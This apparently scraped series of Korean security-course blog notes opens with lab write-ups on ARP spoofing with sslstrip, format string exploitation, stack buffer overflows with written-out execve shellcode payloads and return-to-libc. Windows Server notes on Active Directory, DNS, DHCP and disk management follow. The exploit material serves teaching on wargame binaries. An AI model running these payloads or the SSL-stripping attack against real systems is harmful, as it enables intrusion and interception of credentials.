MITM공격을 이용해 중간자가 SSL통신을 강제로 해제


  • SSL(Secure Socket Layer)는 전송계층(Transport Layer)의 암호화 방식이기 때문에 HTTP뿐만 아니라 FTP등 응용계층(Application Layer) 프로토콜의 종류에 상관없이 사용할 수 있다.

  • SSL은 TLS(Transport Layer Security)라는 이름으로 표준화 되었다.

  • SSL은 사이트 인증(Site Authentication)을 제공하고 데이터의 기밀성(Data Privacy)과 무결성(Data Integrity)을 보장해주는 암호화 프로토콜이다.

실습
공격자 : Kali Linux 2.0          (192.168.11.131)
희생자 : Windows XP SP3    (192.168.11.134)

IP Forwarding

Redirect HTTP packets

arpspoof tool을 사용하여 희생자와 게이트웨이에게 arp spoofing을 한다

sslstrip tool을 8080로 서비스포트로 지정한다 [실행된모습]


정상 브라우저에서는 facebook로그인이 https형태로 접속을하지만


SSL strip공격을 받은 PC에서는 https에서 http로 변경된것을 확인할수있다.


공격자 PC에서 패킷을 확인할수있다.



'KITRI 침해대응 > Network Hacking' 카테고리의 다른 글

SSL Strip  (0) 2016.01.18
Format String bug
포멧 스트링 버그는 printf 함수 등에서 사용되는 포멧 스트링(%d, %s...)을 잘못된 형태로 사용할 경우 발생하는 버그이다. 포멧 스트링은 데이터를 어떤 형식에 따라 입력받거나 출력하기 위하여 사용하는데 형식을 잘못사용하면 메모리의 데이터가 유출되고 변조될 수 있다.
포멧 스트링 버그는 메모리 릭, 메모리 변조 모두 가능하기 때문에 취약점이 발생하면 exploitable할 가능성이 높다.

printf함수는 아래의 두가지 방법으로 사용할 수 있다.

printf(BUFFER)
printf("FORMAT_STRING", BUFFER)

포멧 스트링 버그는 포멧스트링을 사용하지 않고 바로 BUFFER를 출력하는 첫번째 printf 함수 사용법에서 발생한다. 만약 BUFFER 안에 %x, %d등 포멧 스트링이 들어가면 printf함수는 그것들을 포멧스트링으로 보고 두번째 printf 함수 사용법과 같이 동작하여 스택 메모리를 유출시킨다.

<정상적인 printf함수 스택>


<포맷스트링 취약한 printf함수의 스택>


fsb.c





여기서 아래의 LEAK을 출력을 하려면
LEAK의 주소를 확인하여 AAAA대신 LEAK의 주소를 넣고 해당 맵핑되어있는 41414141부분에 %s를 사용하여 해당주소의 데이터를 출력한다




formatstring메모리변조

%n : 현재까지 읽은 byte의 수를 출력해준다


0xffffd124주소에 현재까지 입력받은 바이트수를 hex값으로 넣는다


%n바이트 수를 조절하려면 띄어쓰기 등등 편법을 써야한다 
%x형태의 포맷스트링을 %20x처럼 띄어쓰기를 늘려서 입력되는 값을 변화를 시킨다

...


%n자체가 2btye씩 출력이되기때문에 4btye메모리 변조를하려면 2byte다음주소인 0xffffd126에 BBBB를 조작하여 원하는 메모리주소값으로 바꾼다.

 

iffsb

예제소스



gdb로 디버깅을 하여 info variables명령어를 사용하여 전역변수정보를 확인한다
tartget변수의 주소값을 알아낼수있다 (0x0804a048)


python -c 'print "AAAA\x48\xa0\x04\x08 %54x %n"' | ./iffsb
포맷스트링버그를 사용하여 target주소값을 %n을 사용하여 64로 조작한다.
그후 소스코드의 cat flag명령을 실행하게 된다

실습환경: 우분투

예제 1








다음 breakpoint까지 진행을 한후에 esp주소를 확인한다.
0xffffd558은 버퍼주소 이며 0xffffd842는 argv[1]인것을 확인한다.


strcpy후에 문자가 복사된것을 확인(주소알아낼려고하는거임)


실행방법 : ./bigbof01 $(python -c 'print "\x90"*236+"24바이트쉘코드"+"버퍼주소"')
첫번째처럼 안될시에는 버퍼주소를 건드려서 순수하게 찾아본다(잘안되는이유는 gdb자체 디버깅된 주소값이 정확하지않다고함)
bigbof011의 쉘을얻어서 bigbof011에게 권한이 있는 파일을 cat명령으로 확인할수있다.
bigbof01@ubuntu:~$ ./bigbof01 $(python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x58\xd7\xff\xff"')



bigbof02


예제소스




왼쪽은 정상적으로 실행됬을때 stack구조
오른쪽은 쉘코드를 삽입하여 실행할 stack구조



breakpoint 를 i와 buffer를 포함한 esp값을 확인하여 ebp부터 esp까지의 byte수를 계산한다


다음 breakpoint로 이동하여 strcpy함수를 실행하기전의 esp로부터 두개의 stack을 확인한다 ( buffer와 argv[1] )
strcpy를 진행하고 argv[1]의 값이 buffer에 복사가 된것을 확인하면 buffer의 시작주소(0xffffd58c)를 알수있다.




./bigbof02 `python -c 'print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8c\xd7\xff\xff"'`
./bigbof02 `python -c 'print "\x90"*184 + "24byte shellcode"+"buffer 시작주소"'`

nop+shellcode는 208byte이며 shellcode를 제외한 나머지 184byte는 임의의 문자로 채운다
임의의문자 + shellcode + buffer의 시작주소를 strcpy로 강제로 버퍼오버플로우를 시키면서 shellcode를 불러오게되고 bigbof021의 쉘 권한을 획득하게된다



예제 3 (bigbof03)




   


여기서 esp주소부터 ret까지 byte사이즈 계산(하는이유 : ret까지 사이즈계산을해서 ret에 print함수시작주소를 넣기위해서)
ret 는 ebp+0x4 (따라서 ret주소값은 0xffffd65c)
esp 부터 ret까지 크기 계산 [ 0xffffd65c(ret) - 0xffffd5ec(esp) = 0x70(112byte)]


print함수의 시작코드가 0x0804847b인것을 확인함


위의과정을 도식화함

       




Return To Library


예제코드



buffer 의 byte크기확인 : ebp - esp = 0x8
SFP의 크기 4byte


system함수의 주소값확인 하는명령어 : p system


/bin/sh 의 주소값확인


bofrtl1 쉘로 들어가서 bofrtl1에게 읽기권한이있는 flag파일 출력


ropl

예제코드



one,two,three의 주소값을 알아낸다





shellcode

예제소스



cat 명령을 이용하여 쉘에 진입하여 flag를 확인한다


heapof


www.pwnable.kr

118.36.184.210 bigbof01/03/bofrtl


FTP(File Transfer Protocol)



암호학
  • 기밀성 : 불법적인 사용자가 데이터를 알지 못하게 하는것
  • 무결성 : 올바른 데이터인지 확인하는것
  • 인증
  • 부인방지

암호화 시스템
  • 대칭키 암호화 시스템(Symmetic Key)
          
    • 키 분배의 문제가 있다
    • 종류
      • DES, 3DES, AES, SEED…
          
  • 비대칭키(Asymetric)/공개키 암호화 시스템
          
    • Key Pair
      • Public Key(공개 가능)
      • Private Key(공개 불가능)
    • 공개키 : 암호화 -> 개인키 (복호화) = 기밀성을위함
    • 개인키 : 암화화 -> 공개키 (복호화) = 인증을 위함
    • 종류
      • D-H, RSA, ECC
    • PKI(Public Key Infrastructure)
      • 공개키 알고리즘을 통한 암호화 및 전자서명을 제공하기 위한 복합적인 보안 시스템 환경을 말한다. 즉, 암호화와 복호화키로 구성된 공개키를 이용해 송수신 데이터를 암호화하고 디지털 인증서를 통해 사용자를 인증하는 시스템을 말한다.
                    

  • 일방향 암호화
    • One Way Funtion
    • Hash Funtion
      • MD5
      • SHA-1
      • SHA-2(192, 256, 512)
               

    • Message Digest(메세지 축약)

  • 전자서명
          

'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

FTP & 암호학  (0) 2016.01.18
Web의 간단한정리  (0) 2016.01.18
DHCP서버  (0) 2016.01.18
Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18

Web Server
  • MS : IIS(ASP, ASP.net)
  • Apache - 전세계 60%이상 (PHP, JSP, Ruby, Python)
  • nginx

'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

FTP & 암호학  (0) 2016.01.18
Web의 간단한정리  (0) 2016.01.18
DHCP서버  (0) 2016.01.18
Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
DHCP
  • L7 프로토콜
  • 모든 클라이언트는 ip를 할당받기위해 모든 시스템에게 Broadcast로 DISCOVER메세지를 보낸다
  • 요청받은DHCP서버는 OFFER메세지를 broadcast한다
  • 클라이언트는 REQUEST메세지를 broadcast한다
  •  Transaction ID 
  • 해당 DHCP서버는 ACK메시지를 보낸다

*포트


DHCP 갱신
  • 클라이언트의 ip임대기간의 50%가되면 DHCP서버에 REQUEST메시지를 보낸다
  • 클라이언트의 ip임대기간의 85.5%가되면 한번더 DHCP서버에 REQUEST메시지를 보낸다
  • 클라이언트 종료시 DHCP서버에게 RELEASE메시지를 보낸다

DHCP Server Authorization


DHCP Scopes
  • 임대를 해줄 ip주소의 범위


DHCP Option
  • DHCP Server
  • Scopes
    • DNS Servers
    • DNS Name
    • Default Gateway
    • WINS Server
  • Reservation(예약)
    • 어떤 특정 MAC주소는 지정한 IP를 할당하게 하는것
  • Class
    • Vendor-class
      • 컴퓨터를 만드는 제조업체(장비)에 따라서 옵션을 지정할수있다
    • User-class
      • 사용자가 직접 class를 지정하는것

DHCP Sizing and Availability(가용성)


Windows Server 2012 R2에서 DHCP서버 설정





DHCP 옵션



예약


DDNS(Dynaimic DNS)



보안된항목만
역방향 보안된항복만

'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

FTP & 암호학  (0) 2016.01.18
Web의 간단한정리  (0) 2016.01.18
DHCP서버  (0) 2016.01.18
Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
작업그룹 / Active Directory 차이점
- 인증
- 자원관리

인증 :
   작업그룹으로 구성된 컴퓨터 - 각 컴퓨터에서 인증 정보 저장
   SAM - Security Account Manager
   작업그룹내의 다른 컴퓨터 간의 자원 공유시에 일일이 인증

   Active Directory로 구성된 컴퓨터 - Domain Controller
   Kerberos v5 - 인증과 관련 - 보안토큰(티켓) 발급
   도메인 내의 다른 PC의 자원 접근시 인증 불필요
   SSO - Single Sign On

자원관리 :
   Directory Service - 전화번호부
     : 대략적인 자원들의 목록을 관리
     : DAP, LDAP, x.500 등등
     : 윈도우 - NTDS(NT Directory Service) -> AD
     : 유닉스 등 - NIS+

   작업그룹 - 디렉토리 서비스 제공하지 않음
   작업그룹에서 공유하고 있는 자원을 확인하기 위해서는
   해당 호스트에 접속하여 공유하고 있는 자원을 직접 확인

   AD - 디렉토리 서비스 기반
   자원 목록을 검색 가능 - 자원 목록을 AD에 게시하고 검색 지원
   목록은 확인가능하나, 사용권한은 별도로 부여

=======================================

도메인 컨트롤러 구성시 도메인 컨트롤러를 2개 이상 구성
- 부하분산 / 장애극복
단일 도메인 컨트롤러 사용시 부하 집중 -> 부하분산
단일 도메인 컨트롤러 사용시 장애 발생 -> 다른 도메인 컨트롤러를 사용하여 정상적으로 도메인 기능 사용가능



====================================


AD 복제를 위한 IFM 생성

DC에서

cmd
ntdsutil
     activate instance ntds
     ifm
     create sysvol full c:\ifm
     q
     q

SVR에서
    
cmd
     net use z: \\dc\c$\ifm
     mkdir c:\ifm_copy
     robocopy z: c:\ifm_copy /copyall /s

=======================================

RODC
기본적으로 AD의 도메인컨트롤러는 수평적 관계
=> DC를 구성시 서로 동일함

NTDS(윈도우NT) : PDC, BDC로 구성
PDC : Primary Domain Controller
BDC : Backup Domain Controller
=> PDC 손상시 기능 제한
=> 윈도우2000 이후 Active Directory에서는 PDC, BDC 구분 없이 DC로 통일

RODC : Windows Server 2008부터 생성
=> Read Only Domain Controller
=> 읽기전용, 일부 데이터 제외하고 데이터베이스 저장
    ( 중요계정의 계정정보, 패스워드 등)
=> 도메인 관리 작업 등 수행 불가


========================================

FSMO (Flexible Single Master Operation)
- 전체 도메인에서 특정 DC에서만 수행되도록 설정하는 작업
- 여러 DC에서 동시에 수행할 경우 문제가 발생할 수 있는 작업

Infrastructure Master : 도메인 구조상의 변경사항 등을 확인
PDC Emulator : NTDS의 PDC가 수행하던 일부 기능을 수행. 시간 동기화
RID Master : RID Pool 관리, RID, SID, 중복 SID 할당 방지
     SID, RID : 사용자를 구분하는 번호

특정 서버가 Single Master Operation을 소유한 상태에서 작동 중지시, 전체 도메인 기능에 장애 발생
다른 DC에서 해당 SMO를 점유하여 도메인 기능을 정상화
=> cmd에서 ntdsutil
Roles - NTDS 역할 소유자의 토큰을 관리합니다.

cmd
     ntdsutil
     roles
     connections
          connect to server [서버이름]
          q
     seize [역할이름]


========================================

사용자 / 컴퓨터 / 그룹 / 조직구성단위

사용자 계정 관리

AD 사용자 계정 관리 도구
1. AD 사용자 및 컴퓨터
2. MMC (Microsoft Management Console) = 1번과 같음
3. AD 관리 센터
4. cmd에서 dsadd, dsrm 등의 명령어를 사용
5. cmd에서 csvde, ldifde 등의 명령어를 사용
6. poweshell에서 new-aduser, remove-aduser 등의 명령어 사용


=======================================

개체 명명방법

1. NetBIOS 방식 : 도메인명\사용자명 ex) kitri11\testuser
2. UPN(User Principal Name)방식 : testuser@kitri11.com
3. DN(Distinguished Name) : 디렉토리에서 개체 위치 표시방법
CN : Common Name
OU : Organizational Name
DC : Domain Component

CN=testuser2,CN=users,DC=kitri11,DC=com
kitri11 com => DC => kitri11.com
CN=users => 일반 개체, 일반사용자, 컴퓨터, 컨테이너 등 개체
CN=testuser => 사용자 이름

-------------------------------------------------------------------------

cmd에서 ds.... 명령어를 사용한 사용자 관리

dsadd [개체종류] [개체위치(DN)] -samid [계정이름] -pwd [암호]
dsrm [개체종류] [개체위치(DN)]

------------------------------------------------------------------------

powershell을 사용한 사용자 관리

cmdlet => PowerShell 문법,
동사(형용사)-명사      ex) new-aduser

new-aduser "testuser3" -AccountPassword(Read-Host -AsSecureString "Enter Password : ") -Path "CN=users,DC=kitri11,DC=com"

-----------------------------------------------------------------------

csvde, ldifde 명령어를 사용하여 파일의 내용을 참고하여 사용자 생성

명령어옵션
csvde -i -f [파일경로] : 파일 -> 사용자추가
csvde -d [DN(Distinguished Name)] -f [파일경로] : 사용자정보 -> 파일

사용자정보 파일로 추출
ex)csvde -d "CN=testuser,CN=users,DC=kitri11,DC=com" -f "testuser.csv"
ldifde -d "CN=testuser,CN=users,DC=kitri11,DC=com" -f "testuser.txt"

사용자 정보를 파일을 참고하여 생성
파일생성 - newuser.txt
DN,objectClass,SAMAccountName,userPrincipalName,displayName
"CN=testuser5,OU=testOU,DC=kitri11,DC=com",user,testuser5,testuser5@kitri11.com,테스트5
"CN=testuser6,OU=testOU,DC=kitri11,DC=com",user,testuser6,testuser6@kitri11.com,테스트6
"CN=testuser7,OU=testOU,DC=kitri11,DC=com",user,testuser7,testuser7@kitri11.com,테스트7

파일 불러오기 실행 : csvde -i -f newuser.txt


ldifde 명령어 사용
testuser2.txt 파일 생성
DN: CN=testuser8,OU=testOU,DC=kitri11,DC=com
objectClass: user
SAMAccountName: testuser8
userPrincipalName: testuser8@kitri11.com
displayName: 테스트8

DN: CN=testuser9,OU=testOU,DC=kitri11,DC=com
objectClass: user
SAMAccountName: testuser9
userPrincipalName: testuser9@kitri11.com
displayName: 테스트9

DN: CN=testuser10,OU=testOU,DC=kitri11,DC=com
objectClass: user
SAMAccountName: testuser10
userPrincipalName: testuser10@kitri11.com
displayName: 테스트10

ldifde -i -f testuser2.txt

-------------------------------------------------------------

특정 OU내의 사용자 정보 전부 추출
csvde -d [OU의 DN] -f [파일경로]

'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

Web의 간단한정리  (0) 2016.01.18
DHCP서버  (0) 2016.01.18
Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
폴더 리디렉션  (0) 2016.01.18
Active Directory
DNS
DHCP
WINS
FTP
Web Server
암호학

□ 서버가 GUI를 쓰지않는 이유
  1. 서버의 부하를 줄이기위해서(서비스를 하는데 GUI가 필요없기 때문)
  2. 반복작업을 해결

Directory Service -> Network Resource(계정, 그룹, OU(조직구성단위), 공유폴더, 공유프린터 등등)를 분류/검색

LDAP(Lightweight Directory Access Protocol)
  • TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜
  • x.500 표준 프로토콜
  • MS에서 커스터마이징한 프로토콜이기 때문에 다른 OS와 호환이안된다

RID는 사용자 식별번호로써 관리자는 500번이고 일반사용자는 1000번이다
SID가 중복될경우 인증절차가 되지않는다

VMware에서 컴퓨터복제

c:\windows\system32\sysprep sysprep에서 일반화 ㄱㄱ


완료후에 VMware에서 VM->manage -> clone -> 라디오버튼 체크에 full로 클릭


인증
그룹정책(gpedit.msc)
Workgroup
Local
Local
Domain
Central
Central

  • Identification (식별 ex.ID)
  • Authentication (인증 ex.Password)
  • Authorization (인가)

Local



Central
  • SSO(Single Sign On)
    • 하나의계정으로 여러개의 서비스를 이용하는것
    • 한 번의 인증 과정으로 여러 컴퓨터 상의 자원을 이용 가능하게 하는 인증 기능이다. 싱글 사인온, 단일 계정 로그인, 단일 인증이라고 한다.
  • AAA(Authentication Authorization Accounting)
    • NAS에 접속하는 가입자에 대한 인증(Authentication)을 통해 가입자에게 주어진 권한 레벨을 검증(Authorization)하고 가입자의 사용량(UDR)을 NAS로부터 전달 받아 과금(Accounting) 기능을 수행하는 기반 구조 서비스 또는 프로토콜

                    ※ Kerberos : 인증 프로토콜



Windows Server 2012 R2의 Active Directory 종류



도메인\도메인계정
도메인계정@도메인

FQND(Fully Qualified Domain Name)
  • 시스템을 지칭하는 완전한 이름으로서, 호스트 이름과 그것의 도메인 이름으로 구성
  • 예를 들어, "dc"가 호스트 이름이고, "kitri.local"이 도메인 이름이라면, FQDN은 "dc.kitri.local" 



TLD(Top Level Domain)
gTLD(general)
ccTLD (country code)


DNS Resource Record
  • SOA(Start of Authority)
    • 인가된 DNS 영역(Zone)의 시작을 나타냄
      • 모든 영역(Zone)은 정확히 하나의 SOA 레코드 만을 갖게됨
    • 세부내역
      • 영역(Zone) 명칭
      • 1차(마스터) 네임서버의 이름
      • 관리자 이메일 주소
      • 2차(슬레이브) 네임서버의 갱신시간 등    
  • A(Host Record)
    • 호스트 이름에 대한 IPv4 주소 레코드
  • CNAME(Alias Record)
    • FQDN주소를 다른 FQDN주소로 바꿔주는것
  • MX(Mail Exchange Record
    • 메일교환기
  • SRV(Service Resource)
    • DNS와 다른 서비스와 연결시킴
  • NS(Name Servers)
    • DNS서버(자기자신의 이름을 기록)
  • AAAA(IPv6 DNS Record
    • FQDN을 IPv6로 바꿔줌
  • PTR(Pointer)
    • IP를 FQDN으로 바꿔주는것 (A or AAAA와 반대개념)






Anycast : 가장 가까운 시스템과 통신을하는것

Root도메인 사이트


Root Hint (Root Domain / Root Server)
  • 재귀쿼리
    • 로컬 dns서버에게 하는 종류의 쿼리로 답을 받을 때까지 질문에 대한 요청을 계속한다
  • 반복쿼리


  • 권한있는 응답
    • DNS서버가 호스트가 질의한 FQDN이 자신의 데이터베이스에 리소스 레코드가 있고 응답을함
  • 권한없는 응답
    • DNS서버가 호스트가 질의한 FQDN이 자신의 데이터베이스에 리소스 레코드가 없을때





  • Forwarder(전달자)

     로컬 DNS가 할일이 많아져서 단점을 보완한것이 전달자이다

Caching Only Server

  • Conditional Forwarding(조건부 전달자)



  • DNS Cache
    • DNS Query 하기전에 DNS cache를 먼저 확인을 하고 cache에없다면 받아옴


  • Forward Lookup Zone(정방향 조회)
    • FQDN을 물어봤을때 ip를 알려줌
  • Reverse Lookup Zone(역방향 조회)
    • ip를 물어봤을때 FQDN을 알려줌

                      

     Command창에서 nslookup모드에서 해당IP를 요청하면 역방향 조회로 그 IP의 FQDN주소를 표시해준다
  • 역방향조회는 보통 스팸메일판별하는데 많이 쓰인다


DNS파일 생성 사이트

DNS ZONE



Mail 서버



DNS Zone Transfer(Primary - Secondary 서버 간)

  • IXFR : 변경된 레코드만 전송
  • AXFR :  모든 레코드 전송



'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

DHCP서버  (0) 2016.01.18
Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
폴더 리디렉션  (0) 2016.01.18
컴퓨터개체, 그룹/조직구성단위, 그룹정책  (0) 2016.01.18
디스크관리

디스크종류 - 물리적인 저장방식의 차이
  • HDD(Hard Disk Drive)
    • 용량에 비해 저렴
    • 디스크 내부에 플래터라는 원판에 데이터를 저장
    • 주소표시 : CHS(Cylinder, Head, Sector) => LBA(Logical Block Address)

▲ 하드디스크 구조
  • SSD(Solid State Drive)
    • 용량에 비해 비쌈
    • 메모리 칩에 데이터를 저장
    • 디스크 데이터 접근시 메모리 주소 사용
    • 헤더 등이 물리적으로 동작 할 필요가 없으므로 접근속도가 빠름
▲ SSD 구조
  • Hybrid
    • HDD + SSD
  • USB RAID
    • USB를 RAID로 연결
  • RAM Drive
    • 용량대비 매우 비쌈
    • 성능이 우수하다
    • 전원을 지속적으로 공급해야함
  • DAT, TAPE
    • 백업 용도로 사용

디스크의 인터페이스에 따른 구분
  • P-ATA(E-IDE)
    • 병렬 전송방식
    • 속도가 느림
    • 핫 플러깅 지원하지 않음
                * 핫플러깅 : 전원을 켠상태에서 인식되는것
  • S-ATA(Serial ATA)
    • 직렬 전송방식
    • 개인용에서 주로 사용
    • 핫 플러깅 지원
  • SCSI
    • 서버 등 고성능 시스템에서 주로 사용
    • Small Computer System Interface
    • 많은 디스크 연결 지원
    • 핫 플러깅 지원
    • 별도의 인터페이스 카드를 가지고 있어야 사용가능
  • SAS(Serial Attached SCSI)
    • 인터페이스 외형이 SATA와 동일

파티션 형태에 따른 분류

  • MBR(Master Boot Record)
    • 예전방식
    • 디스크의 첫번째 섹터(512Byte)에 파티션 정보를 저장 => MBR영역
      • 440byte : BootCode
      • 8byte : Signature
      • 64byte : Partition Table
        • 16byte * 4EA = 64byte
        • 4개의 파티션을 사용할 수 있음
        • 한 파티션에 대한 정보를 16byte로 저장
        • 파티션 정보를 저장하는 공간 크기가 작아서 주소를 32bit 주소로 저장
        • 전체 디스크 크기를 32bit주소로 관리
        • 4,294,067,296개의 섹터 까지 사용 가능
        • 최대 사용가능 디스크 크기 : 2TB
  • GPT(GUID Partition Table)
    • 최신방식
    • 첫번째 섹터 : MBR영역 대신 비어있지 않음을 표시하는 데이터가 존재함
    • 두번째 섹터 이후에 GUID헤더
    • 파티션 테이블의 크기가 매우커짐
      • 128byte * 128EA = 16,384byte
      • 파티션을 128개 까지 만들 수 있음
      • 디스크 섹터주소를 64bit로 관리
      • 최대 이론상으로 8ZB까지 디스크 주소 사용 가능

    • 제약사항
      • 데이터 저장용으로 사용하기위해서는 운영체제가 GPT형식의 디스크를 지원하여야 함(윈도우 Vista 이후 운영체제는 GPT지원)
      • 부팅용 디스크를 GPT디스크로 사용하려하면 BIOS 대신 UEFI펌웨어를 사용하여야함
        • BIOS(Basic Input/Output System)
          • 하드웨어 사용 등 제한
          • 용량이 작아 많은 기능 탑재 불가능
        • UEFI/EFI(Extensible Firmware Interface)
          • BIOS에 비해 더 많은 시스템 자원 사용 가능
          • 다양한 기능 탑재

디스크 크기 단위
  • Bit : 0 또는 1
  • Byte : 8bit
  • Kilo Byte : 2^10 byte
  • Mega Byte : 2^10 KB
  • Giga Byte : 2^10 MB
  • Tera Byte : 2^10 GB
  • Peta Byte : 2^10 TB
  • Exa Byte : 2^10 PB
  • Zeta Byte : 2^10 EB

디스크 파일시스템 분류
  • FAT
    • FAT뒤에 붙은숫자는 클러스터 주소의 크기를 나타낸다
    • 마이크로소프트에서 제작
    • FAT12
      • 디스켓에서 사용되던 파일시스템
      • 클러스터 주소를 12bit(4096개)로 관리
      • 최대 사용가능 용량 : 32MB
      • 파일명 최대 길이 : 8자
    • FAT16
      • 클러스터 주소를 16bit(32768개)로 관리
      • 최대 사용가능 용량 : 2GB
    • FAT32
      • 클러스터 주소를 32bit로 관리
      • 4GB 단일파일 크기 문제가 존재
    • exFAT(FAT64)
      • 클러스터 주소를 64bit로 관리
      • 단일파일 크기, 파일명 길이, 디렉토리 개수, 전체 파일시스템 크기등의 제한이 완화
  • NTFS(NT File Syste)
    • 윈도우 NT와 함께 발표되어 사용됨
    • 버전업 되면서 사용하고 있음(현재 v3.1)
    • 만들어지는 시점에서 대용량 시스템 사용을 염두에 두고 만들어짐
      • 파일명, 단일파일크기, 파일시스템 전체크기 등 상향 지원
    • 다양한 기능지원
      • 압축저장
      • ACL(Access Control List)
      • 섀도우 복사본
      • 파일시스템 암호화
    • 대부분의 윈도우 운영체제에서 기본 파일시스템으로 사용
    • 볼륨(디스크)의 크기를 자유롭게 확대/축소 가능
  • ReFS(Resilent File System)
    • NTFS를 발전시킨 형태
    • 운영체제용으로 사용불가
    • 오류체크, 오류정정 등이 강화
    • 볼륨 확장은 되나 축소는 불가
    • 기본적인 NTFS 기능들 대부분 지원
  • 다른운영체제의 파일시스템
    • ext : 리눅스
    • zfs : 솔라리스
    • ufs : 유닉스 계열

하드디스크 추가방법
VMware - Setting - Add Hardware - Harddisk
운영체제에서 하드디스크 인식시키는 과정
  1. 물리적으로 디스크를 연결
  2. 파티션생성
  3. 파일시스템생성
  4. 드라이브 문자할당
파티션생성
  1. diskpart - cmd명령 사용
  2. 디스크관리자 도구
확장파티션
  • MBR의 파티션 제한을 극복하기 위하여 4번째 파티션내부에 다시 논리적인 파티션을 구현
  • 내부적으로 파티션을 추가가능(약 1000개 정도)


RAID(Redundant Array of Inexpensive/Independent Disks) = 디스크배열
  • H/W RAID
    • RAID 구성에 필요한 계산을 H/W가 담당
    • 성능이 우수
    • 비용이 발생
  • S/W RAID
    • RAID 구성에 필요한 계싼 등을 S/W(운영체제)가 담당
    • 시스템 자원을 소모
    • 비용이 별도로 발생하지 않음
  • RAID를 통하여 얻을 수 있는 효과
  1. 용량증가
  2. 성능향상
  3. 안정성 증가 - 고가용성(HA, High Availability)

  • 단일 RAID
    • RAID 0 - stripe
      • 데이터를 여러 디스크에 나누어 저장 (분산저장)
      • 동일한 용량의 디스크 n개 연결시 용량은 n개
      • n개의 디스크를 연결했을 경우, 읽기/쓰기 성능이 n배
      • 에러발생시 복구 불가능
    • RAID 1 - Mirror
      • 모든 디스크에 동일한 데이터를 기록
      • 동일한 용량의 디스크 n개 연결시 용량은 1배
      • n개의 디스크를 연결했을 경우, 읽기/쓰기 성능이 1배
      • n개 디스크를 연결했을때, n-1개 까지의 고장에도 정상 동작 및 복구 가능
                                

    • RAID 2 ~ 4
      • Hamming Code를 생성하여 디스크에저장
    • RAID 3~4
      • Parity를 생성하여 디스크에 저장

    • RAID 5 - 분산 Parity
      • 복구에 사용되는 Parity를 계산하여 디스크에 분산 저장
      • 패리티를 분산 저장하여 오류 발생시 성능 저하를 경감
      • n개의 디스크를 연결했을 경우 n-1배의 디스크 용량
      • Stripe를 기반으로 하고 있기 때문에 성능이 향상(n-1만큼 향상)
      • 에러 발생시 성능이 저하
      • 오류 복구시도 많은 시스템 자원소모 (RAID 3~4보다는 성능 저하가 적다)
      • n개 디스크 연결시 1개의 에러 발생시 사용/복구 가능
                            

    • RAID 6 - 분산 이중 패리티
      • 복구에 사용되는 Parity를 두개 계산하여 디스크에 분산 저장
      • 패리티를 분산 저장하여 오류 발생시 성능 저하를 경감
      • 디스크가 4개이상 있어야 사용가능
      • n개의 디스크를 연결했을 경우 n-2배의 디스크 용량(2개 디스크 크기만큼의 용량을 패리티 저장에 사용)
      • Stripe를 기반으로 하고 있기 때문에 성능이 향상(n-2만큼 향상)
      • 에러 발생시 성능이 저하
      • 오류 복구시도 많은 시스템 자원소모 (RAID 3~4보다는 성능 저하가 적다)
      • n개 디스크 연결시 2개의 에러 발생시 사용/복구 가능
                             

  • 중첩 RAID
    • RAID를 중복해서 구성
    • RAID 1+0
      • RAID 1을 구성, 구성된 RAID를 다시 RAID 0으로 구성
                          
    • RAID 0+1
      • RAID 0을 구성, 구성된 RAID를 다시 RAID 1으로 구성
                         
    • RAID 0+1대신 RAID 1+0을 사용하는 이유
      • RAID 0+1은 디스크 한개 손상시에도 전체 RAID에서 복구하여야함
      • RAID 1+0은 디스크 한개 손상시 말단의 RAID 에서만 복구 진행
      • 복구가 가능한 RAID 방식을 먼저 사용 후 성능 향상을 위한 RAID 방식을 사용    
    • RAID 5+0
    • RAID 1+0+0
  • 윈도우의 디스크관리자에서 제공하는 RAID방식
    • RAID 0, RAID 1, RAID 5
    • 스팬 볼륨 (RAID 방식은 아님)

가상디스크(Virtual Hard Disk)
디스크 관리자 - 동작 - VHD만들기

  • VHD
    • 윈도우 Server 2012 R2 이전 시스템에서 지원
    • 고정크기 디스크 권장
    • 2TB 용량 제한
    • 입출력시 즉시 기록
    • 윈도우 백업, Hyper-V 에서 사용하는 디스크 형식
  • VHDx
    • 윈도우 Server 2012 R2 이후부터 지원
    • 동적크기 디스크 권장
    • 64TB용량 제한
    • 입출력시 즉시 기록하지 않고 로그 생성 후 기록 형태를 사용하여 안정적인 데이터 입출력 지원
  • 저장소 풀 (Storage Pool)
    • 리눅스 : LVM(Logical Volume Manager)
    • 솔라리스 : zfs(Zetabyte File System)
    • 윈도우 : Storage Pool
  • 프로비저닝 유형
    • 씬 : 가상디스크 처럼 현재 저장소 풀 용량과 상관없이 사용하고자 하는 용량 만큼 임의의 크기를 지정해서 디스크를 생성
    • 고정 : 현재 저장소 풀 용량을 고려하여 최대 사용 가능한 용량을 계산하고, 디스크 생성시 해당 크기까지만 디스크를 생성



'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
폴더 리디렉션  (0) 2016.01.18
컴퓨터개체, 그룹/조직구성단위, 그룹정책  (0) 2016.01.18
VMware Snapshot 찍기  (0) 2016.01.18
폴더 리디렉션
- 파일 공유, 권한
- 그룹정책 설정

